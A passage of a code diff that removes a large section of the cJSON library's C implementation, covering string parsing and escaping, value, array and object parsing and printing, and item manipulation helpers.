sequence_length; - -fail: - return 0; -} - -/* Parse the input text into an unescaped cinput, and populate item. */ -static cJSON_bool parse_string(cJSON* const item, parse_buffer* const input_buffer) { - const unsigned char* input_pointer = buffer_at_offset(input_buffer) + 1; - const unsigned char* input_end = buffer_at_offset(input_buffer) + 1; - unsigned char* output_pointer = NULL; - unsigned char* output = NULL; - - /* not a string */ - if(buffer_at_offset(input_buffer)[0] != '\"') { - goto fail; - } - - { - /* calculate approximate size of the output (overestimate) */ - size_t allocation_length = 0; - size_t skipped_bytes = 0; - while(((size_t)(input_end - input_buffer->content) < input_buffer->length) && - (*input_end != '\"')) { - /* is escape sequence */ - if(input_end[0] == '\\') { - if((size_t)(input_end + 1 - input_buffer->content) >= input_buffer->length) { - /* prevent buffer overflow when last input character is a backslash */ - goto fail; - } - skipped_bytes++; - input_end++; - } - input_end++; - } - if(((size_t)(input_end - input_buffer->content) >= input_buffer->length) || - (*input_end != '\"')) { - goto fail; /* string ended unexpectedly */ - } - - /* This is at most how much we need for the output */ - allocation_length = (size_t)(input_end - buffer_at_offset(input_buffer)) - skipped_bytes; - output = (unsigned char*)input_buffer->hooks.allocate(allocation_length + sizeof("")); - if(output == NULL) { - goto fail; /* allocation failure */ - } - } - - output_pointer = output; - /* loop through the string literal */ - while(input_pointer < input_end) { - if(*input_pointer != '\\') { - *output_pointer++ = *input_pointer++; - } - /* escape sequence */ - else { - unsigned char sequence_length = 2; - if((input_end - input_pointer) < 1) { - goto fail; - } - - switch(input_pointer[1]) { - case 'b': - *output_pointer++ = '\b'; - break; - case 'f': - *output_pointer++ = '\f'; - break; - case 'n': - *output_pointer++ = '\n'; - break; - case 'r': - *output_pointer++ = '\r'; - break; - case 't': - *output_pointer++ = '\t'; - break; - case '\"': - case '\\': - case '/': - *output_pointer++ = input_pointer[1]; - break; - - /* UTF-16 literal */ - case 'u': - sequence_length = utf16_literal_to_utf8(input_pointer, input_end, &output_pointer); - if(sequence_length == 0) { - /* failed to convert UTF16-literal to UTF-8 */ - goto fail; - } - break; - - default: - goto fail; - } - input_pointer += sequence_length; - } - } - - /* zero terminate the output */ - *output_pointer = '\0'; - - item->type = cJSON_String; - item->valuestring = (char*)output; - - input_buffer->offset = (size_t)(input_end - input_buffer->content); - input_buffer->offset++; - - return true; - -fail: - if(output != NULL) { - input_buffer->hooks.deallocate(output); - } - - if(input_pointer != NULL) { - input_buffer->offset = (size_t)(input_pointer - input_buffer->content); - } - - return false; -} - -/* Render the cstring provided to an escaped version that can be printed. */ -static cJSON_bool - print_string_ptr(const unsigned char* const input, printbuffer* const output_buffer) { - const unsigned char* input_pointer = NULL; - unsigned char* output = NULL; - unsigned char* output_pointer = NULL; - size_t output_length = 0; - /* numbers of additional characters needed for escaping */ - size_t escape_characters = 0; - - if(output_buffer == NULL) { - return false; - } - - /* empty string */ - if(input == NULL) { - output = ensure(output_buffer, sizeof("\"\"")); - if(output == NULL) { - return false; - } - strcpy((char*)output, "\"\""); - - return true; - } - - /* set "flag" to 1 if something needs to be escaped */ - for(input_pointer = input; *input_pointer; input_pointer++) { - switch(*input_pointer) { - case '\"': - case '\\': - case '\b': - case '\f': - case '\n': - case '\r': - case '\t': - /* one character escape sequence */ - escape_characters++; - break; - default: - if(*input_pointer < 32) { - /* UTF-16 escape sequence uXXXX */ - escape_characters += 5; - } - break; - } - } - output_length = (size_t)(input_pointer - input) + escape_characters; - - output = ensure(output_buffer, output_length + sizeof("\"\"")); - if(output == NULL) { - return false; - } - - /* no characters have to be escaped */ - if(escape_characters == 0) { - output[0] = '\"'; - memcpy(output + 1, input, output_length); - output[output_length + 1] = '\"'; - output[output_length + 2] = '\0'; - - return true; - } - - output[0] = '\"'; - output_pointer = output + 1; - /* copy the string */ - for(input_pointer = input; *input_pointer != '\0'; (void)input_pointer++, output_pointer++) { - if((*input_pointer > 31) && (*input_pointer != '\"') && (*input_pointer != '\\')) { - /* normal character, copy */ - *output_pointer = *input_pointer; - } else { - /* character needs to be escaped */ - *output_pointer++ = '\\'; - switch(*input_pointer) { - case '\\': - *output_pointer = '\\'; - break; - case '\"': - *output_pointer = '\"'; - break; - case '\b': - *output_pointer = 'b'; - break; - case '\f': - *output_pointer = 'f'; - break; - case '\n': - *output_pointer = 'n'; - break; - case '\r': - *output_pointer = 'r'; - break; - case '\t': - *output_pointer = 't'; - break; - default: - /* escape and print as unicode codepoint */ - snprintf((char*)output_pointer, 6, "u%04x", *input_pointer); - output_pointer += 4; - break; - } - } - } - output[output_length + 1] = '\"'; - output[output_length + 2] = '\0'; - - return true; -} - -/* Invoke print_string_ptr (which is useful) on an item. */ -static cJSON_bool print_string(const cJSON* const item, printbuffer* const p) { - return print_string_ptr((unsigned char*)item->valuestring, p); -} - -/* Predeclare these prototypes. */ -static cJSON_bool parse_value(cJSON* const item, parse_buffer* const input_buffer); -static cJSON_bool print_value(const cJSON* const item, printbuffer* const output_buffer); -static cJSON_bool parse_array(cJSON* const item, parse_buffer* const input_buffer); -static cJSON_bool print_array(const cJSON* const item, printbuffer* const output_buffer); -static cJSON_bool parse_object(cJSON* const item, parse_buffer* const input_buffer); -static cJSON_bool print_object(const cJSON* const item, printbuffer* const output_buffer); - -/* Utility to jump whitespace and cr/lf */ -static parse_buffer* buffer_skip_whitespace(parse_buffer* const buffer) { - if((buffer == NULL) || (buffer->content == NULL)) { - return NULL; - } - - if(cannot_access_at_index(buffer, 0)) { - return buffer; - } - - while(can_access_at_index(buffer, 0) && (buffer_at_offset(buffer)[0] <= 32)) { - buffer->offset++; - } - - if(buffer->offset == buffer->length) { - buffer->offset--; - } - - return buffer; -} - -/* skip the UTF-8 BOM (byte order mark) if it is at the beginning of a buffer */ -static parse_buffer* skip_utf8_bom(parse_buffer* const buffer) { - if((buffer == NULL) || (buffer->content == NULL) || (buffer->offset != 0)) { - return NULL; - } - - if(can_access_at_index(buffer, 4) && - (strncmp((const char*)buffer_at_offset(buffer), "\xEF\xBB\xBF", 3) == 0)) { - buffer->offset += 3; - } - - return buffer; -} - -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithOpts( - const char* value, - const char** return_parse_end, - cJSON_bool require_null_terminated) { - size_t buffer_length; - - if(NULL == value) { - return NULL; - } - - /* Adding null character size due to require_null_terminated. */ - buffer_length = strlen(value) + sizeof(""); - - return cJSON_ParseWithLengthOpts( - value, buffer_length, return_parse_end, require_null_terminated); -} - -/* Parse an object - create a new root, and populate. */ -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithLengthOpts( - const char* value, - size_t buffer_length, - const char** return_parse_end, - cJSON_bool require_null_terminated) { - parse_buffer buffer = {0, 0, 0, 0, {0, 0, 0}}; - cJSON* item = NULL; - - /* reset error position */ - global_error.json = NULL; - global_error.position = 0; - - if(value == NULL || 0 == buffer_length) { - goto fail; - } - - buffer.content = (const unsigned char*)value; - buffer.length = buffer_length; - buffer.offset = 0; - buffer.hooks = global_hooks; - - item = cJSON_New_Item(&global_hooks); - if(item == NULL) /* memory fail */ - { - goto fail; - } - - if(!parse_value(item, buffer_skip_whitespace(skip_utf8_bom(&buffer)))) { - /* parse failure. ep is set. */ - goto fail; - } - - /* if we require null-terminated JSON without appended garbage, skip and then check for a null terminator */ - if(require_null_terminated) { - buffer_skip_whitespace(&buffer); - if((buffer.offset >= buffer.length) || buffer_at_offset(&buffer)[0] != '\0') { - goto fail; - } - } - if(return_parse_end) { - *return_parse_end = (const char*)buffer_at_offset(&buffer); - } - - return item; - -fail: - if(item != NULL) { - cJSON_Delete(item); - } - - if(value != NULL) { - error local_error; - local_error.json = (const unsigned char*)value; - local_error.position = 0; - - if(buffer.offset < buffer.length) { - local_error.position = buffer.offset; - } else if(buffer.length > 0) { - local_error.position = buffer.length - 1; - } - - if(return_parse_end != NULL) { - *return_parse_end = (const char*)local_error.json + local_error.position; - } - - global_error = local_error; - } - - return NULL; -} - -/* Default options for cJSON_Parse */ -CJSON_PUBLIC(cJSON*) cJSON_Parse(const char* value) { - return cJSON_ParseWithOpts(value, 0, 0); -} - -CJSON_PUBLIC(cJSON*) cJSON_ParseWithLength(const char* value, size_t buffer_length) { - return cJSON_ParseWithLengthOpts(value, buffer_length, 0, 0); -} - -#define cjson_min(a, b) (((a) < (b)) ? (a) : (b)) - -static unsigned char* - print(const cJSON* const item, cJSON_bool format, const internal_hooks* const hooks) { - static const size_t default_buffer_size = 256; - printbuffer buffer[1]; - unsigned char* printed = NULL; - - memset(buffer, 0, sizeof(buffer)); - - /* create buffer */ - buffer->buffer = (unsigned char*)hooks->allocate(default_buffer_size); - buffer->length = default_buffer_size; - buffer->format = format; - buffer->hooks = *hooks; - if(buffer->buffer == NULL) { - goto fail; - } - - /* print the value */ - if(!print_value(item, buffer)) { - goto fail; - } - update_offset(buffer); - - /* check if reallocate is available */ - if(hooks->reallocate != NULL) { - printed = (unsigned char*)hooks->reallocate(buffer->buffer, buffer->offset + 1); - if(printed == NULL) { - goto fail; - } - buffer->buffer = NULL; - } else /* otherwise copy the JSON over to a new buffer */ - { - printed = (unsigned char*)hooks->allocate(buffer->offset + 1); - if(printed == NULL) { - goto fail; - } - memcpy(printed, buffer->buffer, cjson_min(buffer->length, buffer->offset + 1)); - printed[buffer->offset] = '\0'; /* just to be sure */ - - /* free the buffer */ - hooks->deallocate(buffer->buffer); - } - - return printed; - -fail: - if(buffer->buffer != NULL) { - hooks->deallocate(buffer->buffer); - } - - if(printed != NULL) { - hooks->deallocate(printed); - } - - return NULL; -} - -/* Render a cJSON item/entity/structure to text. */ -CJSON_PUBLIC(char*) cJSON_Print(const cJSON* item) { - return (char*)print(item, true, &global_hooks); -} - -CJSON_PUBLIC(char*) cJSON_PrintUnformatted(const cJSON* item) { - return (char*)print(item, false, &global_hooks); -} - -CJSON_PUBLIC(char*) cJSON_PrintBuffered(const cJSON* item, int prebuffer, cJSON_bool fmt) { - printbuffer p = {0, 0, 0, 0, 0, 0, {0, 0, 0}}; - - if(prebuffer < 0) { - return NULL; - } - - p.buffer = (unsigned char*)global_hooks.allocate((size_t)prebuffer); - if(!p.buffer) { - return NULL; - } - - p.length = (size_t)prebuffer; - p.offset = 0; - p.noalloc = false; - p.format = fmt; - p.hooks = global_hooks; - - if(!print_value(item, &p)) { - global_hooks.deallocate(p.buffer); - return NULL; - } - - return (char*)p.buffer; -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_PrintPreallocated(cJSON* item, char* buffer, const int length, const cJSON_bool format) { - printbuffer p = {0, 0, 0, 0, 0, 0, {0, 0, 0}}; - - if((length < 0) || (buffer == NULL)) { - return false; - } - - p.buffer = (unsigned char*)buffer; - p.length = (size_t)length; - p.offset = 0; - p.noalloc = true; - p.format = format; - p.hooks = global_hooks; - - return print_value(item, &p); -} - -/* Parser core - when encountering text, process appropriately. */ -static cJSON_bool parse_value(cJSON* const item, parse_buffer* const input_buffer) { - if((input_buffer == NULL) || (input_buffer->content == NULL)) { - return false; /* no input */ - } - - /* parse the different types of values */ - /* null */ - if(can_read(input_buffer, 4) && - (strncmp((const char*)buffer_at_offset(input_buffer), "null", 4) == 0)) { - item->type = cJSON_NULL; - input_buffer->offset += 4; - return true; - } - /* false */ - if(can_read(input_buffer, 5) && - (strncmp((const char*)buffer_at_offset(input_buffer), "false", 5) == 0)) { - item->type = cJSON_False; - input_buffer->offset += 5; - return true; - } - /* true */ - if(can_read(input_buffer, 4) && - (strncmp((const char*)buffer_at_offset(input_buffer), "true", 4) == 0)) { - item->type = cJSON_True; - item->valueint = 1; - input_buffer->offset += 4; - return true; - } - /* string */ - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '\"')) { - return parse_string(item, input_buffer); - } - /* number */ - if(can_access_at_index(input_buffer, 0) && ((buffer_at_offset(input_buffer)[0] == '-') || - ((buffer_at_offset(input_buffer)[0] >= '0') && - (buffer_at_offset(input_buffer)[0] <= '9')))) { - return parse_number(item, input_buffer); - } - /* array */ - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '[')) { - return parse_array(item, input_buffer); - } - /* object */ - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '{')) { - return parse_object(item, input_buffer); - } - - return false; -} - -/* Render a value to text. */ -static cJSON_bool print_value(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output = NULL; - - if((item == NULL) || (output_buffer == NULL)) { - return false; - } - - switch((item->type) & 0xFF) { - case cJSON_NULL: - output = ensure(output_buffer, 5); - if(output == NULL) { - return false; - } - strcpy((char*)output, "null"); - return true; - - case cJSON_False: - output = ensure(output_buffer, 6); - if(output == NULL) { - return false; - } - strcpy((char*)output, "false"); - return true; - - case cJSON_True: - output = ensure(output_buffer, 5); - if(output == NULL) { - return false; - } - strcpy((char*)output, "true"); - return true; - - case cJSON_Number: - return print_number(item, output_buffer); - - case cJSON_Raw: { - size_t raw_length = 0; - if(item->valuestring == NULL) { - return false; - } - - raw_length = strlen(item->valuestring) + sizeof(""); - output = ensure(output_buffer, raw_length); - if(output == NULL) { - return false; - } - memcpy(output, item->valuestring, raw_length); - return true; - } - - case cJSON_String: - return print_string(item, output_buffer); - - case cJSON_Array: - return print_array(item, output_buffer); - - case cJSON_Object: - return print_object(item, output_buffer); - - default: - return false; - } -} - -/* Build an array from input text. */ -static cJSON_bool parse_array(cJSON* const item, parse_buffer* const input_buffer) { - cJSON* head = NULL; /* head of the linked list */ - cJSON* current_item = NULL; - - if(input_buffer->depth >= CJSON_NESTING_LIMIT) { - return false; /* to deeply nested */ - } - input_buffer->depth++; - - if(buffer_at_offset(input_buffer)[0] != '[') { - /* not an array */ - goto fail; - } - - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == ']')) { - /* empty array */ - goto success; - } - - /* check if we skipped to the end of the buffer */ - if(cannot_access_at_index(input_buffer, 0)) { - input_buffer->offset--; - goto fail; - } - - /* step back to character in front of the first element */ - input_buffer->offset--; - /* loop through the comma separated array elements */ - do { - /* allocate next item */ - cJSON* new_item = cJSON_New_Item(&(input_buffer->hooks)); - if(new_item == NULL) { - goto fail; /* allocation failure */ - } - - /* attach next item to list */ - if(head == NULL) { - /* start the linked list */ - current_item = head = new_item; - } else { - /* add to the end and advance */ - current_item->next = new_item; - new_item->prev = current_item; - current_item = new_item; - } - - /* parse next value */ - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(!parse_value(current_item, input_buffer)) { - goto fail; /* failed to parse value */ - } - buffer_skip_whitespace(input_buffer); - } while(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == ',')); - - if(cannot_access_at_index(input_buffer, 0) || buffer_at_offset(input_buffer)[0] != ']') { - goto fail; /* expected end of array */ - } - -success: - input_buffer->depth--; - - if(head != NULL) { - head->prev = current_item; - } - - item->type = cJSON_Array; - item->child = head; - - input_buffer->offset++; - - return true; - -fail: - if(head != NULL) { - cJSON_Delete(head); - } - - return false; -} - -/* Render an array to text */ -static cJSON_bool print_array(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output_pointer = NULL; - size_t length = 0; - cJSON* current_element = item->child; - - if(output_buffer == NULL) { - return false; - } - - /* Compose the output array. */ - /* opening square bracket */ - output_pointer = ensure(output_buffer, 1); - if(output_pointer == NULL) { - return false; - } - - *output_pointer = '['; - output_buffer->offset++; - output_buffer->depth++; - - while(current_element != NULL) { - if(!print_value(current_element, output_buffer)) { - return false; - } - update_offset(output_buffer); - if(current_element->next) { - length = (size_t)(output_buffer->format ? 2 : 1); - output_pointer = ensure(output_buffer, length + 1); - if(output_pointer == NULL) { - return false; - } - *output_pointer++ = ','; - if(output_buffer->format) { - *output_pointer++ = ' '; - } - *output_pointer = '\0'; - output_buffer->offset += length; - } - current_element = current_element->next; - } - - output_pointer = ensure(output_buffer, 2); - if(output_pointer == NULL) { - return false; - } - *output_pointer++ = ']'; - *output_pointer = '\0'; - output_buffer->depth--; - - return true; -} - -/* Build an object from the text. */ -static cJSON_bool parse_object(cJSON* const item, parse_buffer* const input_buffer) { - cJSON* head = NULL; /* linked list head */ - cJSON* current_item = NULL; - - if(input_buffer->depth >= CJSON_NESTING_LIMIT) { - return false; /* to deeply nested */ - } - input_buffer->depth++; - - if(cannot_access_at_index(input_buffer, 0) || (buffer_at_offset(input_buffer)[0] != '{')) { - goto fail; /* not an object */ - } - - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '}')) { - goto success; /* empty object */ - } - - /* check if we skipped to the end of the buffer */ - if(cannot_access_at_index(input_buffer, 0)) { - input_buffer->offset--; - goto fail; - } - - /* step back to character in front of the first element */ - input_buffer->offset--; - /* loop through the comma separated array elements */ - do { - /* allocate next item */ - cJSON* new_item = cJSON_New_Item(&(input_buffer->hooks)); - if(new_item == NULL) { - goto fail; /* allocation failure */ - } - - /* attach next item to list */ - if(head == NULL) { - /* start the linked list */ - current_item = head = new_item; - } else { - /* add to the end and advance */ - current_item->next = new_item; - new_item->prev = current_item; - current_item = new_item; - } - - /* parse the name of the child */ - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(!parse_string(current_item, input_buffer)) { - goto fail; /* failed to parse name */ - } - buffer_skip_whitespace(input_buffer); - - /* swap valuestring and string, because we parsed the name */ - current_item->string = current_item->valuestring; - current_item->valuestring = NULL; - - if(cannot_access_at_index(input_buffer, 0) || (buffer_at_offset(input_buffer)[0] != ':')) { - goto fail; /* invalid object */ - } - - /* parse the value */ - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(!parse_value(current_item, input_buffer)) { - goto fail; /* failed to parse value */ - } - buffer_skip_whitespace(input_buffer); - } while(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == ',')); - - if(cannot_access_at_index(input_buffer, 0) || (buffer_at_offset(input_buffer)[0] != '}')) { - goto fail; /* expected end of object */ - } - -success: - input_buffer->depth--; - - if(head != NULL) { - head->prev = current_item; - } - - item->type = cJSON_Object; - item->child = head; - - input_buffer->offset++; - return true; - -fail: - if(head != NULL) { - cJSON_Delete(head); - } - - return false; -} - -/* Render an object to text. */ -static cJSON_bool print_object(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output_pointer = NULL; - size_t length = 0; - cJSON* current_item = item->child; - - if(output_buffer == NULL) { - return false; - } - - /* Compose the output: */ - length = (size_t)(output_buffer->format ? 2 : 1); /* fmt: {\n */ - output_pointer = ensure(output_buffer, length + 1); - if(output_pointer == NULL) { - return false; - } - - *output_pointer++ = '{'; - output_buffer->depth++; - if(output_buffer->format) { - *output_pointer++ = '\n'; - } - output_buffer->offset += length; - - while(current_item) { - if(output_buffer->format) { - size_t i; - output_pointer = ensure(output_buffer, output_buffer->depth); - if(output_pointer == NULL) { - return false; - } - for(i = 0; i < output_buffer->depth; i++) { - *output_pointer++ = '\t'; - } - output_buffer->offset += output_buffer->depth; - } - - /* print key */ - if(!print_string_ptr((unsigned char*)current_item->string, output_buffer)) { - return false; - } - update_offset(output_buffer); - - length = (size_t)(output_buffer->format ? 2 : 1); - output_pointer = ensure(output_buffer, length); - if(output_pointer == NULL) { - return false; - } - *output_pointer++ = ':'; - if(output_buffer->format) { - *output_pointer++ = '\t'; - } - output_buffer->offset += length; - - /* print value */ - if(!print_value(current_item, output_buffer)) { - return false; - } - update_offset(output_buffer); - - /* print comma if not last */ - length = ((size_t)(output_buffer->format ? 1 : 0) + (size_t)(current_item->next ? 1 : 0)); - output_pointer = ensure(output_buffer, length + 1); - if(output_pointer == NULL) { - return false; - } - if(current_item->next) { - *output_pointer++ = ','; - } - - if(output_buffer->format) { - *output_pointer++ = '\n'; - } - *output_pointer = '\0'; - output_buffer->offset += length; - - current_item = current_item->next; - } - - output_pointer = ensure(output_buffer, output_buffer->format ? (output_buffer->depth + 1) : 2); - if(output_pointer == NULL) { - return false; - } - if(output_buffer->format) { - size_t i; - for(i = 0; i < (output_buffer->depth - 1); i++) { - *output_pointer++ = '\t'; - } - } - *output_pointer++ = '}'; - *output_pointer = '\0'; - output_buffer->depth--; - - return true; -} - -/* Get Array size/item / object item. */ -CJSON_PUBLIC(int) cJSON_GetArraySize(const cJSON* array) { - cJSON* child = NULL; - size_t size = 0; - - if(array == NULL) { - return 0; - } - - child = array->child; - - while(child != NULL) { - size++; - child = child->next; - } - - /* FIXME: Can overflow here. Cannot be fixed without breaking the API */ - - return (int)size; -} - -static cJSON* get_array_item(const cJSON* array, size_t index) { - cJSON* current_child = NULL; - - if(array == NULL) { - return NULL; - } - - current_child = array->child; - while((current_child != NULL) && (index > 0)) { - index--; - current_child = current_child->next; - } - - return current_child; -} - -CJSON_PUBLIC(cJSON*) cJSON_GetArrayItem(const cJSON* array, int index) { - if(index < 0) { - return NULL; - } - - return get_array_item(array, (size_t)index); -} - -static cJSON* get_object_item( - const cJSON* const object, - const char* const name, - const cJSON_bool case_sensitive) { - cJSON* current_element = NULL; - - if((object == NULL) || (name == NULL)) { - return NULL; - } - - current_element = object->child; - if(case_sensitive) { - while((current_element != NULL) && (current_element->string != NULL) && - (strcmp(name, current_element->string) != 0)) { - current_element = current_element->next; - } - } else { - while((current_element != NULL) && - (case_insensitive_strcmp( - (const unsigned char*)name, (const unsigned char*)(current_element->string)) != - 0)) { - current_element = current_element->next; - } - } - - if((current_element == NULL) || (current_element->string == NULL)) { - return NULL; - } - - return current_element; -} - -CJSON_PUBLIC(cJSON*) cJSON_GetObjectItem(const cJSON* const object, const char* const string) { - return get_object_item(object, string, false); -} - -CJSON_PUBLIC(cJSON*) -cJSON_GetObjectItemCaseSensitive(const cJSON* const object, const char* const string) { - return get_object_item(object, string, true); -} - -CJSON_PUBLIC(cJSON_bool) cJSON_HasObjectItem(const cJSON* object, const char* string) { - return cJSON_GetObjectItem(object, string) ? 1 : 0; -} - -/* Utility for array list handling. */ -static void suffix_object(cJSON* prev, cJSON* item) { - prev->next = item; - item->prev = prev; -} - -/* Utility for handling references. */ -static cJSON* create_reference(const cJSON* item, const internal_hooks* const hooks) { - cJSON* reference = NULL; - if(item == NULL) { - return NULL; - } - - reference = cJSON_New_Item(hooks); - if(reference == NULL) { - return NULL; - } - - memcpy(reference, item, sizeof(cJSON)); - reference->string = NULL; - reference->type |= cJSON_IsReference; - reference->next = reference->prev = NULL; - return reference; -} - -static cJSON_bool add_item_to_array(cJSON* array, cJSON* item) { - cJSON* child = NULL; - - if((item == NULL) || (array == NULL) || (array == item)) { - return false; - } - - child = array->child; - /* - * To find the last item in array quickly, we use prev in array - */ - if(child == NULL) { - /* list is empty, start new one */ - array->child = item; - item->prev = item; - item->next = NULL; - } else { - /* append to the end */ - if(child->prev) { - suffix_object(child->prev, item); - array->child->prev = item; - } - } - - return true; -} - -/* Add item to array/object. */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToArray(cJSON* array, cJSON* item) { - return add_item_to_array(array, item); -} - -#if defined(__clang__) || \ - (defined(__GNUC__) && ((__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ > 5)))) -#pragma GCC diagnostic push -#endif -#ifdef __GNUC__ -#pragma GCC diagnostic ignored "-Wcast-qual" -#endif -/* helper function to cast away const */ -static void* cast_away_const(const void* string) { - return (void*)string; -} -#if defined(__clang__) || \ - (defined(__GNUC__) && ((__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ > 5)))) -#pragma GCC diagnostic pop -#endif - -static cJSON_bool add_item_to_object( - cJSON* const object, - const char* const string, - cJSON* const item, - const internal_hooks* const hooks, - const cJSON_bool constant_key) { - char* new_key = NULL; - int new_type = cJSON_Invalid; - - if((object == NULL) || (string == NULL) || (item == NULL) || (object == item)) { - return false; - } - - if(constant_key) { - new_key = (char*)cast_away_const(string); - new_type = item->type | cJSON_StringIsConst; - } else { - new_key = (char*)cJSON_strdup((const unsigned char*)string, hooks); - if(new_key == NULL) { - return false; - } - - new_type = item->type & ~cJSON_StringIsConst; - } - - if(!(item->type & cJSON_StringIsConst) && (item->string != NULL)) { - hooks->deallocate(item->string); - } - - item->string = new_key; - item->type = new_type; - - return add_item_to_array(object, item); -} - -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObject(cJSON* object, const char* string, cJSON* item) { - return add_item_to_object(object, string, item, &global_hooks, false); -} - -/* Add an item to an object with constant string as key */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObjectCS(cJSON* object, const char* string, cJSON* item) { - return add_item_to_object(object, string, item, &global_hooks, true); -} - -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemReferenceToArray(cJSON* array, cJSON* item) { - if(array == NULL) { - return false; - } - - return add_item_to_array(array, create_reference(item, &global_hooks)); -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_AddItemReferenceToObject(cJSON* object, const char* string, cJSON* item) { - if((object == NULL) || (string == NULL)) { - return false; - } - - return add_item_to_object( - object, string, create_reference(item, &global_hooks), &global_hooks, false); -} - -CJSON_PUBLIC(cJSON*) cJSON_AddNullToObject(cJSON* const object, const char* const name) { - cJSON* null = cJSON_CreateNull(); - if(add_item_to_object(object, name, null, &global_hooks, false)) { - return null; - } - - cJSON_Delete(null); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddTrueToObject(cJSON* const object, const char* const name) { - cJSON* true_item = cJSON_CreateTrue(); - if(add_item_to_object(object, name, true_item, &global_hooks, false)) { - return true_item; - } - - cJSON_Delete(true_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddFalseToObject(cJSON* const object, const char* const name) { - cJSON* false_item = cJSON_CreateFalse(); - if(add_item_to_object(object, name, false_item, &global_hooks, false)) { - return false_item; - } - - cJSON_Delete(false_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddBoolToObject(cJSON* const object, const char* const name, const cJSON_bool boolean) { - cJSON* bool_item = cJSON_CreateBool(boolean); - if(add_item_to_object(object, name, bool_item, &global_hooks, false)) { - return bool_item; - } - - cJSON_Delete(bool_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddNumberToObject(cJSON* const object, const char* const name, const double number) { - cJSON* number_item = cJSON_CreateNumber(number); - if(add_item_to_object(object, name, number_item, &global_hooks, false)) { - return number_item; - } - - cJSON_Delete(number_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddStringToObject(cJSON* const object, const char* const name, const char* const string) { - cJSON* string_item = cJSON_CreateString(string); - if(add_item_to_object(object, name, string_item, &global_hooks, false)) { - return string_item; - } - - cJSON_Delete(string_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddRawToObject(cJSON* const object, const char* const name, const char* const raw) { - cJSON* raw_item = cJSON_CreateRaw(raw); - if(add_item_to_object(object, name, raw_item, &global_hooks, false)) { - return raw_item; - } - - cJSON_Delete(raw_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddObjectToObject(cJSON* const object, const char* const name) { - cJSON* object_item = cJSON_CreateObject(); - if(add_item_to_object(object, name, object_item, &global_hooks, false)) { - return object_item; - } - - cJSON_Delete(object_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddArrayToObject(cJSON* const object, const char* const name) { - cJSON* array = cJSON_CreateArray(); - if(add_item_to_object(object, name, array, &global_hooks, false)) { - return array; - } - - cJSON_Delete(array); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemViaPointer(cJSON* parent, cJSON* const item) { - if((parent == NULL) || (item == NULL)) { - return NULL; - } - - if(item != parent->child) { - /* not the first element */ - item->prev->next = item->next; - } - if(item->next != NULL) { - /* not the last element */ - item->next->prev = item->prev; - } - - if(item == parent->child) { - /* first element */ - parent->child = item->next; - } else if(item->next == NULL) { - /* last element */ - parent->child->prev = item->prev; - } - - /* make sure the detached item doesn't point anywhere anymore */ - item->prev = NULL; - item->next = NULL; - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromArray(cJSON* array, int which) { - if(which < 0) { - return NULL; - } - - return cJSON_DetachItemViaPointer(array, get_array_item(array, (size_t)which)); -} - -CJSON_PUBLIC(void) cJSON_DeleteItemFromArray(cJSON* array, int which) { - cJSON_Delete(cJSON_DetachItemFromArray(array, which)); -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObject(cJSON* object, const char* string) { - cJSON* to_detach = cJSON_GetObjectItem(object, string); - - return cJSON_DetachItemViaPointer(object, to_detach); -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObjectCaseSensitive(cJSON* object, const char* string) { - cJSON* to_detach = cJSON_GetObjectItemCaseSensitive(object, string); - - return cJSON_DetachItemViaPointer(object, to_detach); -} - -CJSON_PUBLIC(void) cJSON_DeleteItemFromObject(cJSON* object, const char* string) { - cJSON_Delete(cJSON_DetachItemFromObject(object, string)); -} - -CJSON_PUBLIC(void) cJSON_DeleteItemFromObjectCaseSensitive(cJSON* object, const char* string) { - cJSON_Delete(cJSON_DetachItemFromObjectCaseSensitive(object, string)); -} - -/* Replace array/object items with new ones. */ -CJSON_PUBLIC(cJSON_bool) cJSON_InsertItemInArray(cJSON* array, int which, cJSON* newitem) { - cJSON* after_inserted = NULL; - - if(which < 0) { - return false; - } - - after_inserted = get_array_item(array, (size_t)which); - if(after_inserted == NULL) { - return add_item_to_array(array, newitem); - } - - newitem->next = after_inserted; - newitem->prev = after_inserted->prev; - after_inserted->prev = newitem; - if(after_inserted == array->child) { - array->child = newitem; - } else { - newitem->prev->next = newitem; - } - return true; -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemViaPointer(cJSON* const parent, cJSON* const item, 